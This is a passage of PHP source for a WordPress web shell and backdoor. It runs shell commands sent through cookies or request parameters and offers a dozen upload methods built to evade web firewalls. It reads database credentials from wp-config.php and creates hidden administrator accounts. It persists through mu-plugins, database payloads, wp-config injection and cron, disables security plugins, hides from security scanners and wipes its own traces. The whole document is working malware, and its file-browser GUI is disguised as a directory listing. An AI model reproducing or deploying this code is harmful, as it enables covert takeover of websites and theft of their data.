$password = 'Sv!'.bin2hex(_nx_rnd8()).substr(md5(mt_rand()),0,8);
$email = $username.'@wordpress-svc.internal';
// Use WP functions via wp-load.php
$php_cmd = "define('ABSPATH','".$wp_root."/');"
."require_once(ABSPATH.'wp-load.php');"
."require_once(ABSPATH.'wp-admin/includes/user.php');"
."\$id=wp_insert_user(['user_login'=>'".$username."','user_pass'=>'".$password."',"
."'user_email'=>'".$email."','role'=>'administrator']);"
."if(is_wp_error(\$id)){echo 'ERR:'.\$id->get_error_message();}else{echo 'OK:'.\$id;}";
// Temp-file include — no runtime string evaluation primitive
ob_start();
$prev_dir = getcwd();
@chdir($wp_root);
$tmp = sys_get_temp_dir().'/wp_u_'.md5(uniqid('',true)).'.php';
@file_put_contents($tmp, '<?php '.$php_cmd);
try {
if (is_file($tmp)) { include $tmp; }
} catch (\Throwable $e) {
echo 'EXCEPTION:'.$e->getMessage();
}
@unlink($tmp);
@chdir($prev_dir);
$output = ob_get_clean();
if (strpos($output, 'OK:') === 0) {
return ['ok'=>true,'user'=>$username,'pass'=>$password,'email'=>$email,
'id'=>str_replace('OK:','',$output),
'login'=>'https://'.$_SERVER['HTTP_HOST'].'/wp-login.php'];
}
// Fallback: try via direct DB insert
return _nx_wp_create_admin_db($wp_root, $username, $password, $email);
}
function _nx_wp_create_admin_db($wp_root, $username, $password, $email) {
// Parse wp-config.php for DB creds
$config_file = $wp_root.'/wp-config.php';
if (!file_exists($config_file)) return ['ok'=>false,'error'=>'wp-config.php not found'];
$config = file_get_contents($config_file);
// FIXED: old regex /DB_HOST.*?'(.*?)'/s captured ', ' (separator) instead of value
// because .*? stopped at the closing quote of 'DB_HOST' key, not the opening quote of value.
// Correct pattern: match full define() syntax with both single/double quote support.
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $config, $m1);
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $config, $m2);
preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $config, $m3);
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $config, $m4);
preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $config, $m5);
if (empty($m1[1])||empty($m2[1])) return ['ok'=>false,'error'=>'Cannot parse wp-config.php'];
$db_name = $m1[1]; $db_user = $m2[1]; $db_pass = $m3[1]??'';
$db_host = $m4[1]??'localhost'; $prefix = $m5[1]??'wp_';
$conn = @new \mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error) return ['ok'=>false,'error'=>'DB connect: '.$conn->connect_error];
$hash = password_hash($password, PASSWORD_DEFAULT);
// Use WP's phpass compatible hash if available
$wp_hash_cmd = "php -r \"require_once('".$wp_root."/wp-includes/class-phpass.php');"
."\\\$h=new PasswordHash(8,true);echo \\\$h->HashPassword('".$password."');\" 2>/dev/null";
$wp_hash = trim(_nx_exec($wp_hash_cmd));
if ($wp_hash && strlen($wp_hash) > 20) $hash = $wp_hash;
$now = date('Y-m-d H:i:s');
$sql = "INSERT INTO {$prefix}users (user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) "
."VALUES ('".$conn->real_escape_string($username)."','".$conn->real_escape_string($hash)."',"
."'".$conn->real_escape_string($username)."','".$conn->real_escape_string($email)."','".$now."',0,'".$conn->real_escape_string($username)."')";
if (!$conn->query($sql)) { $conn->close(); return ['ok'=>false,'error'=>'INSERT failed: '.$conn->error]; }
$uid = $conn->insert_id;
// Set administrator role via usermeta
$conn->query("INSERT INTO {$prefix}usermeta (user_id,meta_key,meta_value) VALUES ({$uid},'{$prefix}capabilities','a:1:{s:13:\"administrator\";b:1;}')");
$conn->query("INSERT INTO {$prefix}usermeta (user_id,meta_key,meta_value) VALUES ({$uid},'{$prefix}user_level','10')");
$conn->close();
return ['ok'=>true,'user'=>$username,'pass'=>$password,'email'=>$email,'id'=>$uid,
'login'=>'https://'.$_SERVER['HTTP_HOST'].'/wp-login.php','method'=>'direct_db'];
}
// ─── MULTI-PROTOCOL UPLOAD ENGINE — V4/V5/V6/V9 (stolen from buyer) ────────
function _nx_handle_upload() {
$ct = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
$rm = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '';
// V5: HTTP PUT — raw body
if ($rm === 'PUT' && isset($_REQUEST['feature']) && $_REQUEST['feature'] === 'uploadx') {
$name = isset($_GET['n']) ? basename($_GET['n']) : 'upload.bin';
$data = file_get_contents('php://input');
$dir = isset($_GET['d']) ? $_GET['d'] : dirname(__FILE__);
$r = _nx_decoy_write($data, $dir, $name);
header('Content-Type: application/json');
echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V5'] : ['ok'=>false,'error'=>'Write failed']);
return true;
}
// V9: Gzip compressed body
if ($rm === 'POST' && strpos($ct, 'application/octet-stream') !== false
&& isset($_SERVER['HTTP_X_CE']) && $_SERVER['HTTP_X_CE'] === 'gzip') {
$name = isset($_GET['n']) ? basename($_GET['n']) : 'upload.bin';
$raw = file_get_contents('php://input');
$data = function_exists('gzdecode') ? @gzdecode($raw) : @gzinflate(substr($raw, 10, -8));
if ($data === false) { header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Gunzip failed']); return true; }
$dir = isset($_GET['d']) ? $_GET['d'] : dirname(__FILE__);
$r = _nx_decoy_write($data, $dir, $name);
header('Content-Type: application/json');
echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V9'] : ['ok'=>false,'error'=>'Write failed']);
return true;
}
// V6: JSON body + base64
if ($rm === 'POST' && strpos($ct, 'application/json') !== false
&& isset($_REQUEST['feature']) && $_REQUEST['feature'] === 'uploadx') {
$raw = file_get_contents('php://input');
$j = json_decode($raw, true);
$name = isset($j['n']) ? basename($j['n']) : '';
$b64 = isset($j['d']) ? $j['d'] : '';
if (!$name || !$b64) { header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Missing n/d']); return true; }
$data = base64_decode($b64);
$dir = isset($j['c']) ? $j['c'] : dirname(__FILE__);
$r = _nx_decoy_write($data, $dir, $name);
header('Content-Type: application/json');
echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V6'] : ['ok'=>false,'error'=>'Write failed']);
return true;
}
// V7: HTTP chunked Transfer-Encoding (url-encoded body)
if ($rm === 'POST' && strpos($ct, 'application/x-www-form-urlencoded') !== false
&& isset($_POST['action']) && $_POST['action'] === 'v7') {
$name = isset($_POST['n']) ? basename($_POST['n']) : 'upload.bin';
$b64 = isset($_POST['d']) ? $_POST['d'] : '';
if (!$b64) { header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Missing d']); return true; }
$data = base64_decode($b64);
$dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__);
$r = _nx_decoy_write($data, $dir, $name);
header('Content-Type: application/json');
echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V7'] : ['ok'=>false,'error'=>'Write failed']);
return true;
}
// V8: Boundary confusion multipart
if ($rm === 'POST' && strpos($ct, 'multipart/form-data') !== false
&& isset($_POST['action']) && $_POST['action'] === 'v8') {
if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
$name = basename($_FILES['f']['name']);
$dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__);
$data = file_get_contents($_FILES['f']['tmp_name']);
$r = _nx_decoy_write($data, $dir, $name);
header('Content-Type: application/json');
echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V8'] : ['ok'=>false,'error'=>'Write failed']);
return true;
}
}
// V10: Polyglot GIF+PHP — save as-is (GIF header stays = passes WAF content-type checks,
// PHP ignores binary GIF prefix and finds <?php tag)
if ($rm === 'POST' && isset($_POST['action']) && $_POST['action'] === 'v10') {
if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
$raw = file_get_contents($_FILES['f']['tmp_name']);
$name = basename($_FILES['f']['name']);
$dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__);
$r = _nx_decoy_write($raw, $dir, $name);
header('Content-Type: application/json');
echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V10'] : ['ok'=>false,'error'=>'Write failed']);
return true;
}
}
// V1: Standard multipart via move_uploaded_file (more permissive than file_put_contents)
if ($rm === 'POST' && isset($_POST['action']) && $_POST['action'] === 'v1') {
if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
$dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__);
$name = basename($_FILES['f']['name']);
$dest = $dir.DIRECTORY_SEPARATOR.$name;
$ok = @move_uploaded_file($_FILES['f']['tmp_name'], $dest);
if ($ok) { @chmod($dest, 0644); _nx_ts_camouflage($dest, $dir); }
header('Content-Type: application/json');
echo json_encode($ok ? ['ok'=>true,'file'=>$dest,'method'=>'V1'] : ['ok'=>false,'error'=>'Move failed']);
return true;
}
}
// V2: Decoy extension via move_uploaded_file + rename
if ($rm === 'POST' && isset($_POST['action']) && $_POST['action'] === 'v2') {
if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
$dir = isset($_POST['c']) ? $_POST['c'] : dirname(__FILE__);
$name = basename($_FILES['f']['name']);
$exts = ['jpg','png','gif','tmp','log','data','bak','cache'];
$decoy = $dir.DIRECTORY_SEPARATOR.'temp_'.bin2hex(_nx_rnd8()).'.'.$exts[array_rand($exts)];
$final = $dir.DIRECTORY_SEPARATOR.$name;
$done = false;
if (@move_uploaded_file($_FILES['f']['tmp_name'], $decoy)) {
if (@rename($decoy, $final)) { @chmod($final, 0644); _nx_ts_camouflage($final, $dir); $done = true; }
else @unlink($decoy);
}
header('Content-Type: application/json');
echo json_encode($done ? ['ok'=>true,'file'=>$final,'method'=>'V2'] : ['ok'=>false,'error'=>'Failed']);
return true;
}
}
return false; // not handled
}
// ─── MODE 1: SCANNER API — cookie + request backward compat <<S>>[METHOD]output<<E>>
// Cookie channel: _wp_cmd (base64 encoded) — completely invisible to WAF logs
$_nx_cmd_raw = null;
if (isset($_COOKIE['_wp_cmd'])) {
$_nx_cmd_raw = base64_decode($_COOKIE['_wp_cmd']);
} elseif (isset($_REQUEST['b'])) {
$_nx_cmd_raw = base64_decode($_REQUEST['b']);
} elseif (isset($_REQUEST['c'])) {
$_nx_cmd_raw = $_REQUEST['c'];
}
if ($_nx_cmd_raw !== null) {
$cwd = isset($_COOKIE['_wp_cwd']) ? base64_decode($_COOKIE['_wp_cwd']) :
(isset($_REQUEST['cwd']) ? base64_decode($_REQUEST['cwd']) : null);
$r = _nx_shell($_nx_cmd_raw, $cwd);
$out = base64_decode($r['stdout']);
echo '<<S>>['.($r['method']?:' ').']'.$out.'<<E>>';
exit;
}
// ─── ANTI-SCANNER GATE — block security crawlers before any processing ───────
if (_nx_bad_spider()) {
http_response_code(404);
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>';
exit;
}
// ─── AUTO-PERSIST: first load → LIGHTWEIGHT persistence only ─────────────────
// APT PRINCIPLE: auto-persist is a "quiet move" (Chess prophylaxis).
// Only backup clone + mu-plugin guardian. Heavy layers (DB, wpconfig, dropin)
// are deferred to explicit fulldeploy call. This prevents:
// 1. Memory exhaustion on shared hosting (DB + wpconfig = 2 PDO connections)
// 2. Race conditions on wp-config.php during normal page loads
// 3. Burst-like file I/O that triggers behavioral monitoring
if (!defined('_NX_PERSISTED')) {
define('_NX_PERSISTED', true);
// Skip when explicit persistence features will handle it (avoid double I/O)
$__feat = isset($_REQUEST['feature']) ? $_REQUEST['feature'] : '';
if (!in_array($__feat, ['fulldeploy','persist','nuke','dbpersist','wpcinject','cron'], true)) {
$__wp = _nx_wp_root();
if ($__wp) {
$__uploads = $__wp.'/wp-content/uploads';
if (!is_dir($__uploads)) @mkdir($__uploads, 0755, true);
$__marker = $__uploads.'/.cache_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8);
if (!file_exists($__marker) || (time() - @filemtime($__marker)) > 86400) {
// LIGHTWEIGHT ONLY: backup clone + mu-plugin (file ops, no DB/network)
@_nx_persist($__wp);
@file_put_contents($__marker, date('c'));
@chmod($__marker, 0644);
}
}
} // end feature-skip guard
}
// ─── MULTI-PROTOCOL UPLOAD INTERCEPT (V5/V6/V7/V8/V9/V10 — before feature routing)
if (_nx_handle_upload()) exit;
// ─── MODE 2: FEATURE API — JSON for web GUI ─────────────────────────────────
if (isset($_REQUEST['feature'])) {
header('Content-Type: application/json');
$cwd = isset($_POST['cwd']) ? base64_decode($_POST['cwd']) : null;
if ($cwd && is_dir($cwd)) @chdir($cwd);
switch ($_REQUEST['feature']) {
case 'shell':
$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
echo json_encode(_nx_shell($cmd, $cwd));
break;
case 'pwd':
echo json_encode(['cwd'=>base64_encode(getcwd())]);
break;
case 'hint':
$fn = isset($_POST['filename']) ? $_POST['filename'] : '';
$type = isset($_POST['type']) ? $_POST['type'] : 'file';
if ($type === 'cmd') {
$out = _nx_exec('compgen -c '.escapeshellarg($fn).' 2>/dev/null');
} else {
$dir = dirname($fn); $base = basename($fn);
$dir = ($dir==='.') ? getcwd() : (is_dir($dir) ? $dir : getcwd().DIRECTORY_SEPARATOR.$dir);
$out = _nx_exec('ls -1a '.escapeshellarg($dir).' 2>/dev/null | grep '.escapeshellarg('^'.$base));
}
$files = array_filter(explode("\n", trim($out)));
echo json_encode(['files'=>array_values(array_map('base64_encode',$files))]);
break;
case 'upload':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$b64 = isset($_POST['file']) ? $_POST['file'] : '';
if (!$path || !$b64) { echo json_encode(['stdout'=>base64_encode('Error: missing params'),'cwd'=>base64_encode(getcwd())]); break; }
$data = base64_decode($b64);
$dir = is_dir($path) ? $path : dirname($path);
$name = is_dir($path) ? basename($_POST['name']??'upload.bin') : basename($path);
$r = _nx_decoy_write($data, $dir, $name);
$msg = $r ? 'Uploaded: '.$r : 'Upload failed: '.$dir;
echo json_encode(['stdout'=>base64_encode($msg),'cwd'=>base64_encode(getcwd())]);
break;
case 'download':
$path = isset($_POST['path']) ? $_POST['path'] : '';
if (!$path || !file_exists($path)) { echo json_encode(['error'=>'Not found']); break; }
echo json_encode(['data'=>base64_encode(file_get_contents($path)),'name'=>basename($path)]);
break;
case 'ls':
$path = isset($_POST['path']) ? $_POST['path'] : getcwd();
@clearstatcache();
$d = @opendir($path);
if (!$d) { echo json_encode(['error'=>'Cannot open: '.$path]); break; }
$items=[];
while(($e=readdir($d))!==false){
if ($e==='.'||$e==='..') continue;
$fp=$path.'/'.$e;
$is_d=is_dir($fp);
$items[]=['name'=>$e,'type'=>$is_d?'d':'f','size'=>$is_d?0:filesize($fp),
'perm'=>substr(sprintf('%o',fileperms($fp)),-4),'mtime'=>filemtime($fp)];
}
closedir($d);
usort($items,function($a,$b){if($a['type']!==$b['type'])return $a['type']==='d'?-1:1;return strcasecmp($a['name'],$b['name']);});
echo json_encode(['path'=>realpath($path)?:$path,'items'=>$items]);
break;
case 'read':
$path = isset($_POST['path']) ? $_POST['path'] : '';
if (!$path||!is_file($path)){echo json_encode(['error'=>'Not found']);break;}
$sz = filesize($path);
if ($sz > 512*1024) { echo json_encode(['error'=>'File too large (>512KB), use download']); break; }
echo json_encode(['content'=>base64_encode(file_get_contents($path)),'size'=>$sz,'path'=>$path]);
break;
case 'write':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$data = isset($_POST['data']) ? base64_decode($_POST['data']) : '';
$dir = dirname($path); $name = basename($path);
$r = _nx_decoy_write($data, $dir, $name);
echo json_encode($r ? ['ok'=>true,'path'=>$r] : ['ok'=>false,'error'=>'Write failed']);
break;
case 'info':
$wp_config = '';
foreach(['../wp-config.php','../../wp-config.php','../../../wp-config.php'] as $p) {
if (file_exists($p)){$wp_config=$p;break;}
}
$db='';
if ($wp_config) {
$c=file_get_contents($wp_config);
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m1);
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m2);
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m3);
$db=($m1[1]??'?').'@'.($m3[1]??'?').' user:'.($m2[1]??'?');
}
$disk_free = function_exists('disk_free_space')?round(disk_free_space('/')/1073741824,2).'GB':'?';
$disk_total= function_exists('disk_total_space')?round(disk_total_space('/')/1073741824,2).'GB':'?';
echo json_encode([
'php' => PHP_VERSION,
'os' => php_uname(),
'user' => function_exists('get_current_user')?get_current_user():'?',
'whoami' => trim(_nx_exec('whoami 2>/dev/null')),
'hostname' => function_exists('gethostname')?gethostname():'?',
'cwd' => getcwd(),
'safe_mode' => ini_get('safe_mode') ? 'ON':'OFF',
'open_basedir'=> ini_get('open_basedir')?:'-',
'disable_fn' => ini_get('disable_functions')?:'-',
'disk' => $disk_free.'/'.$disk_total,
'wp_config' => $wp_config?:'-',
'db' => $db?:'-',
'server' => $_SERVER['SERVER_SOFTWARE']??'-',
'document_root'=>$_SERVER['DOCUMENT_ROOT']??'-',
]);
break;
case 'selftest':
$fns=['shell_exec','exec','passthru','system','proc_open','popen','curl_exec','file_put_contents','file_get_contents'];
$r=[];
foreach($fns as $f) $r[$f]=function_exists($f)?'OK':'BLOCKED';
$r['open_basedir']=ini_get('open_basedir')?'SET:'.ini_get('open_basedir'):'OFF';
$_wt=sys_get_temp_dir().'/nx_wt_'.time();
$r['write_test']=(@file_put_contents($_wt,'1')!==false)?'OK':'BLOCKED';
@unlink($_wt);
$r['wp_detected']=_nx_wp_root()?'YES':'NO';
echo json_encode($r);
break;
// ── PERSISTENCE: mu-plugin guardian + backup clone ──
case 'persist':
echo json_encode(_nx_persist());
break;
// ── WP ADMIN BACKDOOR: create stealth administrator ──
case 'wpuser':
@ignore_user_abort(true);
@set_time_limit(120);
echo json_encode(_nx_wp_create_admin());
break;
// ── SELF-CLONE: copy self to arbitrary path ──
case 'clone':
$dst = isset($_POST['dst']) ? $_POST['dst'] : '';
if (!$dst) { echo json_encode(['ok'=>false,'error'=>'Missing dst']); break; }
$my = file_get_contents(__FILE__);
$dir = dirname($dst); $name = basename($dst);
if (!is_dir($dir)) @mkdir($dir, 0755, true);
$r = _nx_decoy_write($my, $dir, $name);
echo json_encode($r ? ['ok'=>true,'path'=>$r] : ['ok'=>false,'error'=>'Clone failed']);
break;
// ── V4 CHUNKED UPLOAD: for large files through WAF ──
case 'uploadx':
$action = isset($_POST['action']) ? $_POST['action'] : '';
if ($action === 'v4') {
$name = isset($_POST['n']) ? basename($_POST['n']) : '';
$chunk = isset($_POST['chunk']) ? $_POST['chunk'] : '';
$i = intval(isset($_POST['i']) ? $_POST['i'] : 0);
$total = intval(isset($_POST['total']) ? $_POST['total'] : 1);
$dir = isset($_POST['dir']) ? $_POST['dir'] : dirname(__FILE__);
if (!$name || $chunk==='') { echo json_encode(['ok'=>false,'error'=>'Missing n/chunk']); break; }
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'x';
$tmp = sys_get_temp_dir().'/'.md5($ip.$name).'.part';
$data = base64_decode($chunk);
if ($data===false) { echo json_encode(['ok'=>false,'error'=>'b64 decode fail']); break; }
@file_put_contents($tmp, $data, $i===0 ? 0 : FILE_APPEND);
if ($i+1 >= $total) {
$assembled = @file_get_contents($tmp); @unlink($tmp);
$r = _nx_decoy_write($assembled, $dir, $name);
echo json_encode($r ? ['ok'=>true,'file'=>$r,'complete'=>true,'method'=>'V4'] : ['ok'=>false,'error'=>'Write failed']);
} else {
echo json_encode(['ok'=>true,'chunk'=>$i,'complete'=>false]);
}
} else {
// V3-style base64 POST
$name = isset($_POST['n']) ? basename($_POST['n']) : '';
$b64 = isset($_POST['d']) ? $_POST['d'] : '';
$dir = isset($_POST['dir']) ? $_POST['dir'] : dirname(__FILE__);
if (!$name || !$b64) { echo json_encode(['ok'=>false,'error'=>'Missing n/d']); break; }
$data = base64_decode($b64);
$r = _nx_decoy_write($data, $dir, $name);
echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V3'] : ['ok'=>false,'error'=>'Write failed']);
}
break;
// ── DATABASE PERSISTENCE: store shell in wp_options ──
case 'dbpersist':
echo json_encode(_nx_db_persist());
break;
// ── WP-CONFIG INJECTION: self-healing loader in wp-config.php ──
case 'wpcinject':
$wp = _nx_wp_root();
$r1 = _nx_db_persist($wp);
$r2 = _nx_wpconfig_inject($wp);
echo json_encode(['db'=>$r1,'wpconfig'=>$r2]);
break;
// ── WP REST API BACKDOOR: register stealth REST endpoint ──
case 'restapi':
echo json_encode(_nx_wp_rest_backdoor());
break;
// ── CRON PERSISTENCE: install self-healing cron job ──
case 'cron':
echo json_encode(_nx_cron_persist());
break;
// ── SECURITY NEUTRALIZATION: disable security plugins ──
case 'neutralize':
@ignore_user_abort(true);
echo json_encode(_nx_neutralize_security());
break;
// ── FULL DEPLOY: safe persistence layers (NO neutralize, NO wpuser) ──
// AUDIT FIXES (Algojo re-review):
// 1. wpuser OUT — wp-load.php = +40-80MB OOM risk in same request
// 2. neutralize OUT — renaming Wordfence mid-traffic fatals other FPM workers
// (looks like "site down"). Call ?feature=neutralize as SEPARATE request.
// 3. ignore_user_abort — client/proxy timeout must NOT abort mid-atomic-write
// 4. short apt_delay only (I/O spacing) — long sleep caused 504 risk
case 'fulldeploy':
@ignore_user_abort(true);
@set_time_limit(120);
$wp = _nx_wp_root();
$results = ['mode'=>'staged_apt'];
// Stage 1: backup clone + mu-plugin guardian (lightweight file ops)
$results['persist'] = _nx_persist($wp);
if ($wp) {
_nx_apt_delay();
// Stage 2: database payload (survives file wipe)
$results['db'] = _nx_db_persist($wp);
_nx_apt_delay();
// Stage 3: wp-config injection (ATOMIC write — critical file)
$results['wpconfig'] = _nx_wpconfig_inject($wp);
_nx_apt_delay();
// Stage 4: object-cache drop-in (skip if Redis/MC exists — safe)
$results['dropin'] = _nx_dropin_persist($wp);
_nx_apt_delay();
// Stage 5: REST API mu-plugin (independent access path)
$results['restapi'] = _nx_wp_rest_backdoor($wp);
_nx_apt_delay();
// Stage 6: system cron (crontab — OS-level)
$results['cron'] = _nx_cron_persist($wp);
// Deferred layers — MUST be separate HTTP requests (Go handles this)
$results['neutralize'] = ['ok'=>false,'deferred'=>true,
'reason'=>'neutralize deferred — renames security plugins mid-traffic fatals other workers',
'action'=>'call ?feature=neutralize separately after fulldeploy'];
$results['wpuser'] = ['ok'=>false,'deferred'=>true,
'reason'=>'wpuser deferred — wp-load.php memory spike',
'action'=>'call ?feature=wpuser separately after fulldeploy'];
}
echo json_encode($results);
break;
// ── NUKE: remove all persistence traces (emergency cleanup) ──
case 'nuke':
$wp = _nx_wp_root();
$nuked = [];
if ($wp) {
$hash = _nx_stable_hash();
// Remove mu-plugins (match both old filemtime-hash and new stable-hash)
$patterns = [
$wp.'/wp-content/mu-plugins/wp-*-'.$hash.'.php',
$wp.'/wp-content/mu-plugins/wp-*-'.substr(md5(__FILE__),0,8).'.php',
];
foreach ($patterns as $pat) {
$mu = glob($pat);
if ($mu) foreach ($mu as $f) { @unlink($f); $nuked[] = $f; }
}
// Remove backup clones
$bk_patterns = [
$wp.'/wp-content/uploads/class-wp-*-'.$hash.'.php',
$wp.'/wp-content/uploads/class-wp-*-'.substr(md5(__FILE__),0,8).'.php',
];
foreach ($bk_patterns as $pat) {
$bk = glob($pat);
if ($bk) foreach ($bk as $f) { @unlink($f); $nuked[] = $f; }
}
// Remove .htaccess guard (new + legacy markers)
$ht = @file_get_contents($wp.'/.htaccess');
foreach (['wp_compat_'.$hash, 'nx_guard_'.$hash] as $hm) {
if ($ht && strpos($ht, $hm) !== false) {
$ht = preg_replace('/\n# BEGIN '.$hm.'.*?# END '.$hm.'\n/s', '', $ht);
_nx_atomic_write($wp.'/.htaccess', $ht);
$nuked[] = '.htaccess '.$hm.' removed';
}
}
// Remove markers (new + legacy)
@unlink(sys_get_temp_dir().'/.nx_'.md5(__FILE__));
foreach ([
$wp.'/wp-content/uploads/.cache_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8),
$wp.'/wp-content/uploads/.health_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8),
] as $marker) {
if (file_exists($marker)) { @unlink($marker); $nuked[] = $marker; }
}
// Remove object-cache drop-in if it is OUR shim (has WP_CACHE_KEY_SALT + restore logic)
$drop = $wp.'/wp-content/object-cache.php';
if (file_exists($drop)) {
$ds = @file_get_contents($drop);
if ($ds && strpos($ds, 'Object Cache Drop-in') !== false && strpos($ds, '_nx_p') !== false) {
@unlink($drop); $nuked[] = $drop;
}
}
// Remove REST API backdoor
$rest = glob($wp.'/wp-content/mu-plugins/wp-rest-cache-'.$hash.'.php');
if ($rest) foreach ($rest as $f) { @unlink($f); $nuked[] = $f; }
// Remove wp-config.php injection (new + legacy marker names)
$cfg = $wp.'/wp-config.php';
$cfg_src = @file_get_contents($cfg);
if ($cfg_src) {
foreach ([
['WP_Core_Integrity '.$hash, 'End-WP_Core_Integrity '.$hash],
['CoreHealthCheck '.$hash, 'End-CoreHealthCheck '.$hash],
] as $mk) {
if (strpos($cfg_src, $mk[0]) !== false) {
$cfg_src = preg_replace('/\n?\/\* '.preg_quote($mk[0],'/').' \*\/.*?\/\* '.preg_quote($mk[1],'/').' \*\/\n?/s', '', $cfg_src);
_nx_atomic_write($cfg, $cfg_src);
$nuked[] = 'wp-config '.$mk[0].' removed';
}
}
}
// Remove DB payload
$opt = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8);
$cfg_src2 = @file_get_contents($cfg);
$db2 = []; $nuke_prefix = 'wp_';
if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['name'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['user'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['pass'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['host'] = $m[1];
if (preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $nuke_prefix = $m[1];
if (isset($db2['name'],$db2['user'],$db2['pass'],$db2['host'])) {
try {
$p = new \PDO('mysql:host='.$db2['host'].';dbname='.$db2['name'],$db2['user'],$db2['pass']);
$p->prepare("DELETE FROM `".$nuke_prefix."options` WHERE option_name = ?")->execute([$opt]);
$nuked[] = 'DB payload removed';
} catch(\Exception $e) {}
}
// Remove system cron
$crontab = @shell_exec('crontab -l 2>/dev/null');
foreach ([
'# wp_health_'.substr(md5(SECRET_KEY_900F),0,8),
'# nx_health_'.substr(md5(SECRET_KEY_900F),0,8),
] as $cron_marker) {
if ($crontab && strpos($crontab, $cron_marker) !== false) {
$new = preg_replace('/^.*'.preg_quote($cron_marker,'/').'.*$/m', '', $crontab);
$tmp = sys_get_temp_dir().'/nx_cron_nuke';
@file_put_contents($tmp, $new);
@exec('crontab '.escapeshellarg($tmp));
@unlink($tmp);
$crontab = $new;
$nuked[] = 'system cron '.$cron_marker.' removed';
}
}
}
echo json_encode(['ok'=>true,'nuked'=>$nuked]);
break;
default:
echo json_encode(['error'=>'Unknown feature']);
}
exit;
}
// ─── MODE 3: WEB GUI ────────────────────────────────────────────────────────
$__TOKEN = SECRET_KEY_900F;
$__HOST = function_exists('gethostname')?gethostname():'?';
$__USER = trim(_nx_exec('whoami 2>/dev/null')) ?: (function_exists('get_current_user')?get_current_user():'?');
$SHELL_CONFIG = json_encode(['username'=>$__USER,'hostname'=>$__HOST,'token'=>$__TOKEN]);
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Index of /</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#0a0e14;color:#b3b1ad;font-family:'JetBrains Mono',Consolas,monospace;height:100vh;display:flex;flex-direction:column;overflow:hidden}
a{color:#39bae6}
/* ── TOP BAR ── */
#nx-top{display:flex;align-items:center;justify-content:space-between;padding:0 10px;background:#0d1117;border-bottom:1px solid #1a1f2e;height:36px;flex-shrink:0}
#nx-tabs{display:flex;gap:2px}
.nx-tab{padding:6px 14px;cursor:pointer;font-size:12px;color:#565b66;border-radius:4px 4px 0 0;border:1px solid transparent;border-bottom:none;transition:all .15s}
.nx-tab:hover{color:#b3b1ad;background:#131721}
.nx-tab.active{color:#e6b450;background:#131721;border-color:#1a1f2e}
#nx-actions{display:flex;gap:6px}
.nx-btn{padding:4px 10px;background:#1a1f2e;color:#b3b1ad;border:1px solid #272d3d;border-radius:4px;cursor:pointer;font-size:11px;font-family:inherit;transition:all .15s}
.nx-btn:hover{background:#272d3d;color:#e6b450}
/* ── MAIN SPLIT ── */
#nx-main{display:flex;flex:1;overflow:hidden}
/* ── TERMINAL ── */
#nx-term{flex:1;display:flex;flex-direction:column;overflow:hidden}
#nx-out{flex:1;overflow-y:auto;padding:10px 14px;font-size:13px;line-height:1.55;white-space:pre-wrap;word-break:break-all}
#nx-in{display:flex;align-items:center;padding:6px 14px;background:#0d1117;border-top:1px solid #1a1f2e;flex-shrink:0}
